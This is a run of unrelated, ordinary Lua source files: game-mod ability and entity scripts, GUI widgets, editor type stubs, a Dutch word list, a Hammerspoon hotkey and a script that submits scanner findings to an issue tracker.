--[[Author: Pizzalol Date: 13.04.2015. Applies the initial stun and modifier depending on Quas level]] function ColdSnapStart( keys ) local caster = keys.caster local target = keys.target local ability = keys.ability local ability_level = ability:GetLevel() - 1 local quas_level = caster:FindAbilityByName("quas_datadriven"):GetLevel() - 1 local duration = ability:GetLevelSpecialValueFor("duration", quas_level) local freeze_duration = ability:GetLevelSpecialValueFor("freeze_duration", quas_level) local freeze_cooldown = ability:GetLevelSpecialValueFor("freeze_cooldown", quas_level) local freeze_damage = ability:GetLevelSpecialValueFor("freeze_damage", quas_level) local cooldown_modifier = keys.cooldown_modifier local stun_modifier = keys.stun_modifier local cold_snap_modifier = keys.cold_snap_modifier local damage_table = {} damage_table.attacker = caster damage_table.victim = target damage_table.ability = ability damage_table.damage_type = ability:GetAbilityDamageType() damage_table.damage = freeze_damage ability:ApplyDataDrivenModifier(caster, target, cold_snap_modifier, {Duration = duration}) ability:ApplyDataDrivenModifier(caster, target, stun_modifier, {Duration = freeze_duration}) ability:ApplyDataDrivenModifier(caster, target, cooldown_modifier, {Duration = freeze_cooldown}) ApplyDamage(damage_table) end --[[Author: Pizzalol Date: 13.04.2015. If the damage taken is enough to trigger the Cold Snap then stun and deal damage depending on the Quas level]] function ColdSnapDamage( keys ) local caster = keys.caster local target = keys.unit local ability = keys.ability local quas_level = caster:FindAbilityByName("quas_datadriven"):GetLevel() - 1 local damage_taken = keys.DamageTaken local freeze_duration = ability:GetLevelSpecialValueFor("freeze_duration", quas_level) local freeze_cooldown = ability:GetLevelSpecialValueFor("freeze_cooldown", quas_level) local freeze_damage = ability:GetLevelSpecialValueFor("freeze_damage", quas_level) local damage_trigger = ability:GetLevelSpecialValueFor("damage_trigger", quas_level) local cooldown_modifier = keys.cooldown_modifier local stun_modifier = keys.stun_modifier if damage_taken >= damage_trigger and not target:HasModifier(cooldown_modifier) then local damage_table = {} damage_table.attacker = caster damage_table.victim = target damage_table.ability = ability damage_table.damage_type = ability:GetAbilityDamageType() damage_table.damage = freeze_damage ability:ApplyDataDrivenModifier(caster, target, stun_modifier, {Duration = freeze_duration}) ability:ApplyDataDrivenModifier(caster, target, cooldown_modifier, {Duration = freeze_cooldown}) ApplyDamage(damage_table) end end
local json = require("lib/json") collectable = {} collectable.new = function(x, y, physicsWorld, valueType) local self = {} self.x = x + 32 self.y = y - 32 self.valueType = valueType self.collectGemSound = love.audio.newSource("assets/sound/gem.wav", "static") self.collectGemSound:setVolume(0.4) self.physics = {} self.physics.world = physicsWorld self.physics.body = love.physics.newBody( self.physics.world, self.x, self.y, "static") self.physics.shape = love.physics.newCircleShape(20) self.physics.fixture = love.physics.newFixture( self.physics.body, self.physics.shape, 1 ) self.physics.fixture:setSensor(true) self.physics.fixture:setUserData(self) self.collectableSprites = love.graphics.newImage("assets/maps/Tiles_64x64.png") self.activeFrame = love.graphics.newQuad(64 * 2 + 1, 64 * 6 + 1, 63, 63, self.collectableSprites:getDimensions()) self.visible = not (self.valueType == "hidden_gem") self.type = function() return "collectable" end self.showHidden = function() if(not (self.valueType == "hidden_gem")) then return end if(self.physics.fixture) then self.visible = true end end self.hideHidden = function() if(not (self.valueType == "hidden_gem")) then return end self.visible = false end self.collect = function() self.collectGemSound:play() self.visible = false self.physics.fixture:destroy() self.physics.fixture = false end self.draw = function(self, screenX, screenY) if not self.visible then return end love.graphics.draw( self.collectableSprites, self.activeFrame, self.physics.body:getX() + screenX - 32, self.physics.body:getY() + screenY - 32, 0, 1, 1 ) end return self end
modifier_spectre_counter_recast = class({}) function modifier_spectre_counter_recast:GetRecastAbility() if IsServer() then return self:GetParent():FindAbilityByName("spectre_counter_recast") end end function modifier_spectre_counter_recast:GetRecastCharges() return 1 end function modifier_spectre_counter_recast:GetRecastKey() return "Q" end if IsClient() then require("wrappers/modifiers") end Modifiers.Recast(modifier_spectre_counter_recast)
#!/usr/bin/env lua -- MoonFLTK example: clock.lua -- -- Derived from the FLTK test/clock.cxx example (http://www.fltk.org) -- fl = require("moonfltk") w1 = fl.double_window(220, 220, "clock") c1 = fl.clock(0, 0, 220, 220) w1:resizable(c1) w1:done() w2 = fl.double_window(220, 220, "round_clock") c2 = fl.round_clock(0, 0, 220, 220) w2:resizable(c2) w2:done() w1:xclass("Fl_Clock") w2:xclass("Fl_Clock") w1:show() w2:show() return fl.run()
---@class CS.UnityEngine.Application ---@field public isPlaying boolean ---@field public isFocused boolean ---@field public platform number ---@field public buildGUID string ---@field public isMobilePlatform boolean ---@field public isConsolePlatform boolean ---@field public runInBackground boolean ---@field public isBatchMode boolean ---@field public dataPath string ---@field public streamingAssetsPath string ---@field public persistentDataPath string ---@field public temporaryCachePath string ---@field public absoluteURL string ---@field public unityVersion string ---@field public version string ---@field public installerName string ---@field public identifier string ---@field public installMode number ---@field public sandboxType number ---@field public productName string ---@field public companyName string ---@field public cloudProjectId string ---@field public targetFrameRate number ---@field public systemLanguage number ---@field public consoleLogPath string ---@field public backgroundLoadingPriority number ---@field public internetReachability number ---@field public genuine boolean ---@field public genuineCheckAvailable boolean ---@field public isEditor boolean ---@type CS.UnityEngine.Application CS.UnityEngine.Application = { } ---@return CS.UnityEngine.Application function CS.UnityEngine.Application.New() end ---@overload fun(): void ---@param optional exitCode number function CS.UnityEngine.Application.Quit(exitCode) end function CS.UnityEngine.Application.Unload() end ---@overload fun(levelIndex:number): boolean ---@return boolean ---@param levelName string function CS.UnityEngine.Application.CanStreamedLevelBeLoaded(levelName) end ---@return boolean ---@param obj CS.UnityEngine.Object function CS.UnityEngine.Application.IsPlaying(obj) end ---@return String[] function CS.UnityEngine.Application.GetBuildTags() end ---@param buildTags String[] function CS.UnityEngine.Application.SetBuildTags(buildTags) end ---@return boolean function CS.UnityEngine.Application.HasProLicense() end ---@return boolean ---@param delegateMethod (fun(advertisingId:string, trackingEnabled:boolean, errorMsg:string):void) function CS.UnityEngine.Application.RequestAdvertisingIdentifierAsync(delegateMethod) end ---@param url string function CS.UnityEngine.Application.OpenURL(url) end ---@return number ---@param logType number function CS.UnityEngine.Application.GetStackTraceLogType(logType) end ---@param logType number ---@param stackTraceType number function CS.UnityEngine.Application.SetStackTraceLogType(logType, stackTraceType) end ---@return CS.UnityEngine.AsyncOperation ---@param mode number function CS.UnityEngine.Application.RequestUserAuthorization(mode) end ---@return boolean ---@param mode number function CS.UnityEngine.Application.HasUserAuthorization(mode) end ---@param value (fun():void) function CS.UnityEngine.Application.add_lowMemory(value) end ---@param value (fun():void) function CS.UnityEngine.Application.remove_lowMemory(value) end ---@param value (fun(condition:string, stackTrace:string, type:number):void) function CS.UnityEngine.Application.add_logMessageReceived(value) end ---@param value (fun(condition:string, stackTrace:string, type:number):void) function CS.UnityEngine.Application.remove_logMessageReceived(value) end ---@param value (fun(condition:string, stackTrace:string, type:number):void) function CS.UnityEngine.Application.add_logMessageReceivedThreaded(value) end ---@param value (fun(condition:string, stackTrace:string, type:number):void) function CS.UnityEngine.Application.remove_logMessageReceivedThreaded(value) end ---@param value (fun():void) function CS.UnityEngine.Application.add_onBeforeRender(value) end ---@param value (fun():void) function CS.UnityEngine.Application.remove_onBeforeRender(value) end ---@param value (fun(obj:boolean):void) function CS.UnityEngine.Application.add_focusChanged(value) end ---@param value (fun(obj:boolean):void) function CS.UnityEngine.Application.remove_focusChanged(value) end ---@param value (fun():boolean) function CS.UnityEngine.Application.add_wantsToQuit(value) end ---@param value (fun():boolean) function CS.UnityEngine.Application.remove_wantsToQuit(value) end ---@param value (fun():void) function CS.UnityEngine.Application.add_quitting(value) end ---@param value (fun():void) function CS.UnityEngine.Application.remove_quitting(value) end return CS.UnityEngine.Application
--[[ -- Author:passion -- Date:2019-11-24 15:41:38 -- Desc: self.xxx_text = self:AddComponent(UITextMeshProUGUI, var_arg)--添加孩子,各种重载方式查看UIBaseContainer --]] local UITextMeshProUGUI = BaseClass("UITextMeshProUGUI", UIBaseComponent) local base = UIBaseComponent -- 创建 local function OnCreate(self) base.OnCreate(self) -- Unity侧原生组件 self.unity_uitext = UIUtil.FindComponent(self.transform, typeof(CS.TMPro.TextMeshProUGUI)) if IsNull(self.unity_uitext) and not IsNull(self.gameObject) then self.gameObject = self.unity_uitext.gameObject self.transform = self.unity_uitext.transform end end -- 获取文本 local function GetText(self) if not IsNull(self.unity_uitext) then return self.unity_uitext.text end end -- 设置文本 local function SetText(self, text) if not IsNull(self.unity_uitext) then self.unity_uitext.text = text end end -- 设置文本颜色 local function SetColor(self,r, g, b, a) -- body if not IsNull(self.unity_uitext) then self.unity_uitext.color = CS.UnityEngine.Color(r, g, b, a) end end -- 销毁 local function OnDestroy(self) self.unity_uitext = nil base.OnDestroy(self) end UITextMeshProUGUI.OnCreate = OnCreate UITextMeshProUGUI.GetText = GetText UITextMeshProUGUI.SetText = SetText UITextMeshProUGUI.SetColor = SetColor UITextMeshProUGUI.OnDestroy = OnDestroy return UITextMeshProUGUI
return {'stoa','stockholm','stobbe','stochast','stochastiek','stochastisch','stock','stockboek','stockcar','stockcarrace','stockdividend','stockeren','stockholmsyndroom','stocks','stoefen','stoeien','stoeierij','stoeipartij','stoeipoes','stoel','stoelbekleding','stoeldraaier','stoelen','stoelendans','stoelenfabrikant','stoelenmaker','stoelenmatten','stoelenmatter','stoelenproject','stoelenzetster','stoelgang','stoelgeld','stoelkussen','stoelleuning','stoelmat','stoelnummer','stoelpoot','stoeltjesgeld','stoeltjesklok','stoeltjeslift','stoelvast','stoelverwarming','stoelzitting','stoemelings','stoep','stoepa','stoepband','stoepen','stoepje','stoeppad','stoepparkeren','stoeprand','stoepranden','stoepsteen','stoeptegel','stoer','stoerdoenerij','stoerheid','stoet','stoeterij','stoethaspel','stoethaspelig','stoetsgewijs','stof','stofafzuiging','stofbestrijding','stofbril','stofdeeltje','stofdicht','stofdoek','stofdoekenmandje','stofexplosie','stoffage','stoffeerder','stoffeerderij','stoffeerster','stoffel','stoffelijk','stoffelijkheid','stoffen','stoffenmode','stoffenwinkel','stoffer','stofferen','stofferig','stofferigheid','stoffering','stoffig','stoffigheid','stofgehalte','stofgoud','stofhagel','stofhoes','stofjas','stofje','stofkam','stofkap','stoflong','stofloos','stofmantel','stofmasker','stofnaam','stofnest','stofomslag','stofregen','stofschijf','stofstorm','stofthee','stofuitdrukking','stofvorming','stofvrij','stofwisseling','stofwisselingsproces','stofwisselingsstoornis','stofwisselingsziekte','stofwolk','stofzuigen','stofzuiger','stofzuigeren','stok','stokanker','stokboon','stokbrood','stokdood','stokdoof','stokebrand','stokebranden','stoken','stoker','stokerij','stokkaart','stokken','stokkerig','stokmaat','stokoud','stokpaard','stokpaardje','stokpasser','stokregel','stokroos','stokslag','stokstaartje','stokstijf','stokvis','stokvoering','stol','stola','stollen','stolling','stollingsfactor','stollingsgesteente','stollingsproces','stolp','stolpboerderij','stolpdeur','stolpen','stolpfles','stolpkraag','stolpraam','stolsel','stom','stoma','stomatologie','stomdronken','stomen','stomend','stomer','stomerij','stomheid','stomkop','stomme','stommeknecht','stommel','stommelen','stommeling','stommerd','stommerik','stommigheid','stommiteit','stomp','stompen','stompheid','stomphoekig','stompneus','stompstaart','stompvoet','stompzinnig','stompzinnigheid','stomtoevallig','stomverbaasd','stomvervelend','stomverwonderd','stomweg','stond','stonde','stoned','stonerrock','stonewashed','stonk','stoof','stoofappel','stoofbuis','stoofhaak','stoofhout','stooflap','stooflapje','stooflapjes','stoofpan','stoofpeer','stoofpot','stoofschotel','stoofsel','stoofsmid','stoofvlees','stookgas','stookgat','stookgedrag','stookgelegenheid','stookhok','stookhout','stookinrichting','stookkanaal','stookkelder','stookkosten','stookolie','stookplaat','stookplaats','stookseizoen','stooksel','stookverbod','stool','stoom','stoomafvoer','stoombad','stoombaggermolen','stoombarkas','stoomboot','stoombootdienst','stoombootmaatschappij','stoombrandspuit','stoomcilinder','stoomcursus','stoomfluit','stoomgemaal','stoomhamer','stoomhoutzagerij','stoomjacht','stoomketel','stoomklep','stoomkraan','stoomkracht','stoomlier','stoomlocomotief','stoommachine','stoommolen','stoompan','stoompers','stoompijp','stoompomp','stoomschip','stoomschuif','stoomsleper','stoomstrijkijzer','stoomtractie','stoomtram','stoomtramverbinding','stoomtrawler','stoomtrein','stoomturbine','stoomvaart','stoomvaartlijn','stoomvaartmaatschappij','stoomvaartuig','stoomwals','stoomwolk','stoomzaag','stoop','stoorder','stoorloos','stoornis','stoorniveau','stoorzender','stoot','stootbalk','stootband','stootblok','stootbord','stootgaren','stoothout','stootkant','stootkar','stootkracht','stootkussen','stootplaat','stootrand','stoots','stoottand','stoottroepen','stootvast','stootvoeg','stootvogel','stootwagen','stootwapen','stootzak','stop','stopbit','stopbits','stopbord','stopbus','stopcontact','stopfles','stopgaren','stophorloge','stophout','stopknop','stopkogel','stopkraan','stoplamp','stoplap','stoplicht','stoplijn','stopmes','stopmiddel','stopnaald','stoporder','stoppage','stoppel','stoppelakker','stoppelbaard','stoppelbloot','stoppelen','stoppelgewas','stoppelhaar','stoppelig','stoppelland','stoppelploeg','stoppels','stoppelveld','stoppen','stopper','stopperspil','stopping','stopplaats','stoppoging','stopsein','stopsel','stopsignaal','stopster','stopstreep','stopstuk','stopteken','stoptrein','stopverbod','stopverf','stopwatch','stopwerk','stopwol','stopwoord','stopzetten','stopzetting','storax','store','storen','storend','storing','storingsanalyse','storingsbron','storingsdienst','storingsduur','storingsfactor','storingsfilter','storingsgevoelig','storingsgevoeligheid','storingsmelding','storingsmonteur','storingsmonteurs','storingsopheffing','storingssituatie','storingstijd','storingsvrij','storingvrij','storm','stormaanval','stormachtig','stormbaan','stormbal','stormband','stormbui','stormcentrum','stormdak','stormdepressie','stormdeur','stormen','stormenderhand','stormfok','stormgebied','stormgeweld','stormhoed','stormig','stormklok','stormkracht','stormladder','stormlantaarn','stormlijn','stormloop','stormlopen','stormmeeuw','stormnacht','stormpas','stormram','stormramp','stormschade','stormsein','stormtij','stormtroepen','stormvast','stormvlaag','stormvloed','stormvloedkering','stormvogel','stormwaarschuwing','stormwaarschuwingsdienst','stormweder','stormweer','stormwind','stormzeil','storneren','storno','stort','stortbad','stortbak','stortbeek','stortbeton','stortbier','stortbui','stortcapaciteit','storten','stortgas','stortgoed','stortgoederen','storting','stortingsbewijs','stortingsbulletin','stortingsdatum','stortingsformulier','stortingskaart','stortkar','stortkoker','stortmast','stortmolen','stortplaats','stortregen','stortregenen','stortsteen','stortverbod','stortvloed','stortwerk','stortzee','storyboard','stoten','stotend','stoter','stoterig','stotig','stotteraar','stotteraarster','stotteren','stout','stouterd','stouterik','stoutheid','stoutigheid','stoutmoedig','stoutmoedigheid','stoutweg','stouwage','stouwen','stouwer','stoven','stovenzetster','stoverij','stoicijn','stoicijns','stoicijnse','stoicisme','stoisch','stopfunctie','stokpop','stortgeld','stofzuigerslang','stortgoot','stootsgewijs','stoottoon','stormlamp','stofboel','stoepenzout','stofknoop','stokmeter','stolpnaad','stoneleek','stootbeitel','stormrijp','stortgoedtechnologie','stortklep','stookinstallatie','storingsindicator','stoflichaam','stoepkrijt','stoelmassage','stoofvocht','stoomreiniger','stopweek','stofemissie','stoomcabine','stoomgenerator','stoomkoker','stoomoven','stockbeheer','stockverkoop','stoephoer','stofallergie','stofconcentratie','stoffenmarkt','stoffilter','stofhinder','stofkeuze','stofkleed','stoflaag','stofmens','stofomschrijving','stofontwikkeling','stofproductie','stofwereld','stofzak','stofzuigsysteem','stokbewaarder','stooftijd','stookketel','stooklijn','stookoliefactuur','stookoliefonds','stookolietank','stookruimte','stoomapparaat','stoomdruk','stoomsleepboot','stoomsloep','stoomspuit','stoomtijdperk','stoomwezen','stootbal','stootkuur','stootslag','stoottroep','stootwil','stopdatum','stopkracht','stoptoets','storingsnummer','stormfront','stormgod','stormseizoen','stortinrichting','stortmateriaal','stottertherapeut','stottertherapie','stortdouche','stoomzuivelfabriek','stollingssysteem','stookwijn','stockoplossing','stoffenbeleid','stoomleiding','stortput','stockfoto','stoomcyclus','stootjuk','stortlocatie','stopbad','stoffenzaak','stockruimte','stopafstand','stofbelasting','stookproces','stoommotor','stoominjectie','stolbaarheid','stopcoach','stofconstante','stokviswater','stoombootonderneming','stoomdrukkerij','stoomveer','stoomwasinrichting','stockholmer','stockholms','stokrooie','stolk','storms','stoffel','stoffer','stolte','stolker','stouten','stoffelen','stobbe','stolze','stomphorst','stoop','stout','stoltz','stockmann','storteboom','storimans','stokmans','stobbelaar','stoelhorst','stoelinga','stoepker','stokkel','stokkink','stoks','stoll','stollman','stomps','stooker','stoppels','stoute','stouthamer','stouthart','stols','stokkers','stoevelaar','stoer','stortelder','stob','stoeltie','stokking','stokreef','stokx','stor','stotijn','stortelers','stoopen','stoetzer','stoots','stougie','stoffenmanager','story','stobben','stobbetje','stochasten','stochastische','stockboeken','stoei','stoeide','stoeiden','stoeierijen','stoeipartijen','stoeit','stoelbiezen','stoelde','stoelden','stoeldraaiers','stoelend','stoelendansen','stoelenmakers','stoelenmatters','stoelenzetsters','stoelkussens','stoelmatten','stoelriemen','stoelt','stoeltje','stoeltjes','stoeltjesklokken','stoeltjesliften','stoelvaste','stoepbanden','stoepjes','stoeppaden','stoepstenen','stoept','stoepte','stoeptegels','stoerder','stoerdere','stoere','stoerst','stoeten','stoeterijen','stoethaspelige','stoethaspels','stoetsgewijze','stofbrillen','stofdeeltjes','stofdoeken','stofexplosies','stoffeer','stoffeerde','stoffeerden','stoffeerderijen','stoffeerders','stoffeert','stoffelijke','stoffels','stoffenwinkels','stofferige','stofferingen','stoffers','stoffertje','stoffertjes','stoffige','stoffiger','stoffigere','stoffigst','stoffigste','stofjassen','stofjes','stofloze','stofnamen','stofnesten','stofomslagen','stoft','stofte','stoften','stofvrije','stofwisselingsprocessen','stofwisselingsziekten','stofwolken','stofzuig','stofzuigde','stofzuigden','stofzuigers','stofzuigt','stokankers','stokdove','stokerijen','stokerijtje','stokerijtjes','stokers','stokje','stokjes','stokkaarten','stokkend','stokkende','stokkerige','stokoude','stokpaarden','stokpaardjes','stokregels','stokrozen','stokslagen','stokstijve','stokt','stokte','stokten','stokvissen','stolde','stolden','stolen','stollingsgesteenten','stollingsgesteentes','stolpdeuren','stolpflessen','stolpramen','stolpt','stolsels','stolt','stomas','stomata','stomende','stomerijen','stomers','stomheden','stomkoppen','stommelde','stommelden','stommelingen','stommels','stommelt','stommeltje','stommen','stommer','stommerds','stommeriken','stommetje','stommetjes','stommigheden','stommiteiten','stompe','stomper','stompere','stomphoekige','stompjes','stompst','stompstaarten','stompste','stompt','stompte','stompten','stompzinnige','stompzinniger','stompzinnigere','stompzinnigheden','stompzinnigste','stomst','stomste','stomverbaasde','stomvervelende','stomverwonderde','stonden','stonken','stoofappelen','stoofappels','stoofde','stoofden','stoofpannen','stoofperen','stoofpotten','stoofschotels','stoofsels','stooft','stook','stookgaten','stookhokken','stookinrichtingen','stookinstallaties','stookkelders','stookolien','stookplaatsen','stookseizoenen','stooksels','stookt','stookte','stookten','stoombaden','stoombaggermolens','stoombarkassen','stoombootdiensten','stoombootmaatschappijen','stoomboten','stoombrandspuiten','stoomcilinders','stoomcursussen','stoomde','stoomden','stoomfluiten','stoomgemalen','stoomhamers','stoomjachten','stoomketels','stoomkleppen','stoomkranen','stoomlieren','stoomlocomotieven','stoommachines','stoommandje','stoommolens','stoompannen','stoompersen','stoompijpen','stoompompen','stoomschepen','stoomschuiven','stoomslepers','stoomt','stoomtrammen','stoomtrams','stoomtramverbindingen','stoomtrawlers','stoomtreinen','stoomturbines','stoomvaartlijnen','stoomvaartmaatschappijen','stoomvaartuigen','stoomwalsen','stoomwolken','stoomzagen','stoor','stoorde','stoorden','stoorders','stoornissen','stoort','stoorzenders','stootbalken','stootblokken','stootborden','stoothouten','stootje','stootkanten','stootkarren','stootkussens','stootplaatje','stootplaten','stootse','stoottanden','stootte','stootten','stootvaste','stootvoegen','stootwagens','stopborden','stopcontacten','stopen','stopflessen','stopgezet','stopgezette','stophorloges','stopkranen','stoplampen','stoplappen','stoplichten','stoplijnen','stopmessen','stopmiddelen','stopnaalden','stoporders','stoppages','stoppelakkers','stoppelbaarden','stoppelgewassen','stoppelharen','stoppelige','stoppelploegen','stoppeltje','stoppeltjes','stoppelvelden','stoppers','stoppertje','stoppertjes','stoppingen','stopplaatsen','stops','stopseinen','stopsels','stopseltjes','stopsters','stopstrepen','stopstukken','stopt','stopte','stoptekens','stoptreinen','stopwoorden','stopwoordje','stopwoordjes','stopzet','stopzette','storende','stores','storingen','storingsbronnen','storingsdiensten','storingsfactoren','storingsfilters','storingsgevoelige','storingsmeldingen','storingssituaties','storingstijden','storingsvrije','storingvrije','storingzoekers','stormaanvallen','stormachtige','stormachtiger','stormachtigste','stormballen','stormbanden','stormbuien','stormde','stormdeuren','stormgelopen','stormhoeden','stormige','stormkleppen','stormklokken','stormladders','stormliep','stormliepen','stormlijnen','stormloopt','stormmeeuwen','stormnachten','stormpje','stormpjes','stormrammen','stormseinen','stormt','stormvlagen','stormvloeden','stormvloedkeringen','stormvogels','stormvrije','stormwaarschuwingen','stormwinden','stormzeilen','storneer','storneert','stortbaden','stortbakken','stortbeken','stortbuien','stortingen','stortingsbewijzen','stortingsformulieren','stortkarren','stortkokers','stortplaatsen','stortregende','stortregens','stortregent','stortte','stortten','stortvloeden','stortwerken','stortzeeen','storyboards','stotende','stotender','stoterige','stoteriger','stoters','stotige','stotter','stotteraars','stotterde','stotterden','stotterend','stottert','stoute','stouter','stouterds','stoutere','stouteriken','stoutigheden','stoutmoedige','stoutmoediger','stoutmoedigere','stoutmoedigst','stoutmoedigste','stoutst','stoutste','stouw','stouwde','stouwden','stouwers','stouwt','stoicijnen','stoicijnser','stoische','stockcarraces','stockcars','stockdividenden','stockeerde','stoefte','stoeipoezen','stoelende','stoelleuningen','stoelpoten','stoelzittingen','stoerste','stofhoezen','stofkammen','stofkappen','stoflongen','stofmaskers','stofstormen','stofwisselingsstoornissen','stofzuigerde','stokbonen','stokbroden','stokmaten','stolas','stollende','stollingen','stollingsfactoren','stolpboerderijen','stolpkragen','stolpte','stommeknechts','stoms','stoofbuizen','stoofhaken','stooflappen','stookgelegenheden','stookkanalen','stookplaten','stoomstrijkijzers','stoomtrammetje','stootbanden','stootranden','stootvogels','stootwapens','stootzakken','stopbussen','stophouten','stopkogels','stoppend','stoppende','stopperspillen','stopsignalen','stopten','stopwatches','stopzettingen','stormbanen','stormden','stormdepressies','stormfokken','stormgebieden','stormlantaarns','stormrampen','storneerde','stortingsbulletins','stortingskaarten','stortmasten','stortmolens','stotterende','stouts','stoepas','stokpoppen','stokdode','stoofsmeden','stooltje','stopseltje','stormvaste','stofdichte','stortingsdata','stormlantarens','stofdoekenmandjes','stormlampen','stortgoten','stofknopen','stofwisselingsziektes','stofzuigerslangen','stokmeters','stolpnaden','stomtoevallige','stoneleeks','stootbeitels','stootsgewijze','stoottonen','stormrijpe','stornos','stortkleppen','stoofpotje','stoffels','stoffers','stoofpotjes','stokbroodje','stoelnummers','stofschijven','stokstaartjes','stoelbekledingen','stoeprandje','stofkapje','stofzakken','stofzuigertje','stokbroodjes','stookketels','stookolietanks','stoomcabines','stoomtreintje','stootjes','stoppogingen','stoptreintje','stockfotos','stofwolkjes','stoombadje','stoomgeneratoren','stofdoekje','stoflagen','stofemissies','stoffilters','stoeprandjes','stoomreinigers','stoombootje','stootkussentjes','stofwolkje','stoomtreintjes','stofzuigsystemen','stoomsleepboten','stoomkokers','stopknopje','stortverboden','stofconcentraties','stoflaagje','stoffenzaken','stofkapjes','stormvogeltje','stofgehalten','stortputten','stockverkopen','stoommachientje','stoptreintjes','stoplichtje','stoombootjes','stormbandje','stortlocaties','stopflesjes','stormschades','stofgehaltes','stootkuren','stockholmse'}
local ui = require "tek.ui" local InputWithPlaceholder = {} function InputWithPlaceholder.new(_, self) self = self or {} self.Text = self.Text or "" self.Placeholder = self.Placeholder or "" if #self.Text == 0 and #self.Placeholder ~= 0 then self.Class = "placeholder" self.Text = self.Placeholder end local input = ui.Input:new(self) -- The widget that really olds the text is the grandson of the input local _onSelect = input.Child.Child.onSelect input.Child.Child.onSelect = function(_self) _onSelect(_self) if _self.Selected then if _self.Class == "placeholder" then input:setValue("Text", "") _self:setValue("Class", "") end else if #input:getText() == 0 then input:setValue("Text", input.Placeholder) _self:setValue("Class", "placeholder") end end end local _onFocus = input.Child.Child.onFocus input.Child.Child.onFocus = function(_self) if _self.Focus then if _self.Class == "placeholder" then input:setValue("Text", "") _self:setValue("Class", "") end else if #input:getText() == 0 then input:setValue("Text", input.Placeholder) _self:setValue("Class", "placeholder") end end return _onFocus(_self) end return input end function InputWithPlaceholder.reset(input) input:setValue("Text", input.Placeholder) input:setValue("Class", "placeholder") input.Child.Child:setValue("Class", "placeholder") input:onSetText() end return InputWithPlaceholder
-- -- YATM Brewery -- local mod = foundation.new_module("yatm_brewery", "0.2.0") mod:require("registries.lua") mod:require("api.lua") mod:require("nodes.lua") mod:require("items.lua") mod:require("fluids.lua") mod:require("tests.lua")
-- Find my mouse pointer local mouseCircle = nil local mouseCircleTimer = nil function mouseHighlight() -- Delete an existing highlight if it exists if mouseCircle then mouseCircle:delete() if mouseCircleTimer then mouseCircleTimer:stop() end end -- Get the current co-ordinates of the mouse pointer mousepoint = hs.mouse.getAbsolutePosition() -- Prepare a big red circle around the mouse pointer mouseCircle = hs.drawing.circle(hs.geometry.rect(mousepoint.x - 40, mousepoint.y - 40, 80, 80)) mouseCircle:setStrokeColor({["red"] = 1.0, ["blue"] = 0.69, ["green"] = 0.95, ["alpha"] = 0.75}) mouseCircle:setFill(false) mouseCircle:setStrokeWidth(20) mouseCircle:show() mouseCircleTimer = hs.timer.doAfter( 1, function() mouseCircle:delete() end ) end hs.hotkey.bind({"ctrl", "alt", "shift"}, "M", mouseHighlight)
require "SyMini" task.caption = 'Issues Submission Task' local hs = symini.hybrid:new() local itemfailed = false local failed_count = 0 hs:start() function sendissuefromfile(tracker, filename) local issue = {} issue = hs:tracker_getissuebyfilename(filename, params.app) issue.tracker = tracker print('Sending issue: '..issue.summary..'...') local res = hs:tracker_sendissue(issue) if res.alreadysent == true then print('Already sent!') end if res.success == false then itemfailed = true failed_count = failed_count + 1 print('Failed! '..res.errormsg) end end print('Sending vulnerabilities to tracker: '..params.tracker..' ['..params.app..']...') list = ctk.string.loop:new() list:load(params.filenamelist) while list:parsing() do task:setprogress(list.curindex,list.count) sendissuefromfile(params.tracker, list.current) end task:setprogress(list.curindex,list.count) task.status = 'Done.' if itemfailed == true then printfailure(task.status) print(tostring(failed_count)..' item(s) failed.') else printsuccess(task.status) end list:release() hs:release()
ENT.Type = "anim" ENT.Base = "base_anim" ENT.PrintName = "Vendor NPC Base" ENT.Category = "Balaclava" ENT.Author = "lolkay" ENT.Purpose = "Vendor NPC" -- purpose will be displayed on top of the npcs!! ENT.Spawnable = true ENT.AdminSpawnable = true ENT.AutomaticFrameAdvance = true function ENT:Think() self:NextThink(CurTime()) return true end
local CoreGui = game:GetService("CoreGui") local RobloxGui = CoreGui:WaitForChild("RobloxGui") local PolicyService = require(RobloxGui.Modules.Common.PolicyService) local FFlagOldInGameMenuDisplayNameForAll = game:DefineFastFlag("OldInGameMenuDisplayNameForAll3", false) local FFlagOldInGameMenuDisplayNamePolicy = game:DefineFastFlag("OldInGameMenuDisplayNamePolicy3", false) local function UsePlayerDisplayName() if FFlagOldInGameMenuDisplayNameForAll then return true end if FFlagOldInGameMenuDisplayNamePolicy then return PolicyService:IsSubjectToChinaPolicies() end return false end return UsePlayerDisplayName
---@meta ---@class cc.AnimationCache :cc.Ref local AnimationCache={ } cc.AnimationCache=AnimationCache ---* Returns a Animation that was previously added.<br> ---* If the name is not found it will return nil.<br> ---* You should retain the returned copy if you are going to use it.<br> ---* return A Animation that was previously added. If the name is not found it will return nil. ---@param name string ---@return cc.Animation function AnimationCache:getAnimation (name) end ---* Adds a Animation with a name.<br> ---* param animation An animation.<br> ---* param name The name of animation. ---@param animation cc.Animation ---@param name string ---@return self function AnimationCache:addAnimation (animation,name) end ---* ---@return boolean function AnimationCache:init () end ---* Adds an animation from an NSDictionary.<br> ---* Make sure that the frames were previously loaded in the SpriteFrameCache.<br> ---* param dictionary An NSDictionary.<br> ---* param plist The path of the relative file,it use to find the plist path for load SpriteFrames.<br> ---* since v1.1<br> ---* js NA ---@param dictionary map_table ---@param plist string ---@return self function AnimationCache:addAnimationsWithDictionary (dictionary,plist) end ---* Deletes a Animation from the cache.<br> ---* param name The name of animation. ---@param name string ---@return self function AnimationCache:removeAnimation (name) end ---* Adds an animation from a plist file.<br> ---* Make sure that the frames were previously loaded in the SpriteFrameCache.<br> ---* since v1.1<br> ---* js addAnimations<br> ---* lua addAnimations<br> ---* param plist An animation from a plist file. ---@param plist string ---@return self function AnimationCache:addAnimationsWithFile (plist) end ---* Purges the cache. It releases all the Animation objects and the shared instance.<br> ---* js NA ---@return self function AnimationCache:destroyInstance () end ---* Returns the shared instance of the Animation cache <br> ---* js NA ---@return self function AnimationCache:getInstance () end ---* js ctor ---@return self function AnimationCache:AnimationCache () end
